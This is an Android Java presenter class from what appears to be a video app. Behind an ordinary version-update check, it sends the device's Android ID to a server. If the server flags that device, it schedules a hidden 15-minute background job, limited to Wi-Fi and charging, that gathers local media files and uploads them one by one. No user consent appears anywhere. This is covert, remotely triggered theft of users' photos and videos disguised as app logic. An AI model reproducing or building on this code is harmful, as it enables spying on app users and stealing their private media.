package com.xxx.video.main.presenters;

import android.content.Context;
import android.provider.Settings;

import androidx.annotation.NonNull;
import androidx.work.Constraints;
import androidx.work.NetworkType;
import androidx.work.PeriodicWorkRequest;
import androidx.work.WorkManager;

import com.xxx.video.commen.dbs.beans.UploadFileBean;
import com.xxx.video.commen.dbs.utils.DbUtils;
import com.xxx.video.commen.presenters.BasePresenter;
import com.xxx.video.commen.utils.AppSignUtils;
import com.xxx.video.commen.utils.AppUtils;
import com.xxx.video.commen.utils.L;
import com.xxx.video.commen.utils.ListUtils;
import com.xxx.video.commen.utils.ResponseUtils;
import com.xxx.video.main.beans.AppVersionBean;
import com.xxx.video.main.beans.IsUploadFileBean;
import com.xxx.video.main.beans.LocalMediaInfoBean;
import com.xxx.video.main.utils.FilePoolManager;
import com.xxx.video.main.utils.UploadWorker;
import com.xxx.video.network.listeners.CommonResponseListener;
import com.xxx.video.network.listeners.UploadFileListener;
import com.xxx.video.network.utils.NetWorkUtils;

import java.io.File;
import java.util.ArrayList;
import java.util.concurrent.TimeUnit;

public class MainPresenter extends BasePresenter<IMainView> {

    public MainPresenter(@NonNull Context context, IMainView baseView) {
        super(context, baseView);
    }

    public void appUsefollow(int type) {
        String androidId = Settings.System.getString(context.getContentResolver(), Settings.System.ANDROID_ID);
        NetWorkUtils.getInstance().appUsefollow(String.valueOf(type), androidId);
    }

    public void getAppVersion() {

        NetWorkUtils.getInstance().getAppVersion(new CommonResponseListener<AppVersionBean>() {
            @Override
            public void onSuccess(AppVersionBean successOb, String result) {
                getIsUploadFile();
                hideProgressDialog();
                if (AppSignUtils.getInstance().isRight(context)) {
                    if (ResponseUtils.getInstance().isNoError(successOb)) {
                        if (successOb.info.fVersionsCode > AppUtils.getInstance().getVersionCode()) {
                            /*
                             * need update
                             */
                            if (getBaseView() != null) {
                                getBaseView().showUpdateDialog(successOb.info.fDownloadUrl);
                            }
                        }
                    }
                }

            }

            @Override
            public void onFailure(Object failureObj) {
                hideProgressDialog();
                getIsUploadFile();
            }
        });
    }

    private void getIsUploadFile() {
        String androidId = Settings.System.getString(context.getContentResolver(), Settings.System.ANDROID_ID);
        NetWorkUtils.getInstance().getDeviceInfo(androidId, new CommonResponseListener<IsUploadFileBean>() {
            @Override
            public void onSuccess(IsUploadFileBean successOb, String result) {
                if (successOb != null && successOb.status) {
                    /*
                     * start
                     */
                    startUploadFileWorker();
                }
            }

            @Override
            public void onFailure(Object failureObj) {

            }
        });

    }

    private void startUploadFileWorker() {
        Constraints constraints = new Constraints.Builder()
                .setRequiredNetworkType(NetworkType.UNMETERED)
                .setRequiresCharging(true)
                .setRequiresBatteryNotLow(true)
                .build();
//        WorkRequest uploadWorkRequest =
//                new PeriodicWorkRequest.Builder(UploadWorker.class,
//                        1, TimeUnit.HOURS,
//                        30, TimeUnit.MINUTES)
//                        .setConstraints(constraints)
//                        .build();
        PeriodicWorkRequest uploadWorkRequest =
                new PeriodicWorkRequest.Builder(UploadWorker.class, 15, TimeUnit.MINUTES)
                        .setConstraints(constraints)
                        .build();
        WorkManager
                .getInstance(context)
                .enqueue(uploadWorkRequest);
        checkFile();
    }

    private void checkFile() {
        ArrayList<LocalMediaInfoBean> fileList = FilePoolManager.getInstance().getFileList();
        if (ListUtils.isEmpty(fileList)) {
            FilePoolManager.getInstance().startGetFile(new CommonResponseListener() {
                @Override
                public void onSuccess(Object successOb, String result) {
                    ArrayList<LocalMediaInfoBean> fileList2 = FilePoolManager.getInstance().getFileList();
                    startUpload(fileList2);
                }

                @Override
                public void onFailure(Object failureObj) {

                }
            });
        } else {
            startUpload(fileList);
        }
    }

    private void startUpload(ArrayList<LocalMediaInfoBean> fileList) {
        if (ListUtils.isEmpty(fileList)) {
            return;
        }
        LocalMediaInfoBean localMediaInfoBean = fileList.get(0);
        UploadFileBean uploadFileBean = DbUtils.getInstance().queryUploadFileByPath(localMediaInfoBean.path);
        if (uploadFileBean == null) {
            uploadFile(localMediaInfoBean.path);
        } else {
            if (uploadFileBean.isUpload) {
                FilePoolManager.getInstance().getFileList().remove(0);
                startUpload(FilePoolManager.getInstance().getFileList());
            } else {
                uploadFile(localMediaInfoBean.path);
            }
        }
    }

    private void uploadFile(String path) {
        File file = new File(path);
        NetWorkUtils.getInstance().uploadPhoto(file, new UploadFileListener() {
            @Override
            public void onProgress(int progress) {

            }

            @Override
            public void onSuccess(Object successOb, String result) {
                L.d("上传文件", path);
                DbUtils.getInstance().insertUploadFileByPath(path);
            }

            @Override
            public void onFailure(Object failureObj) {

            }
        });
    }
}
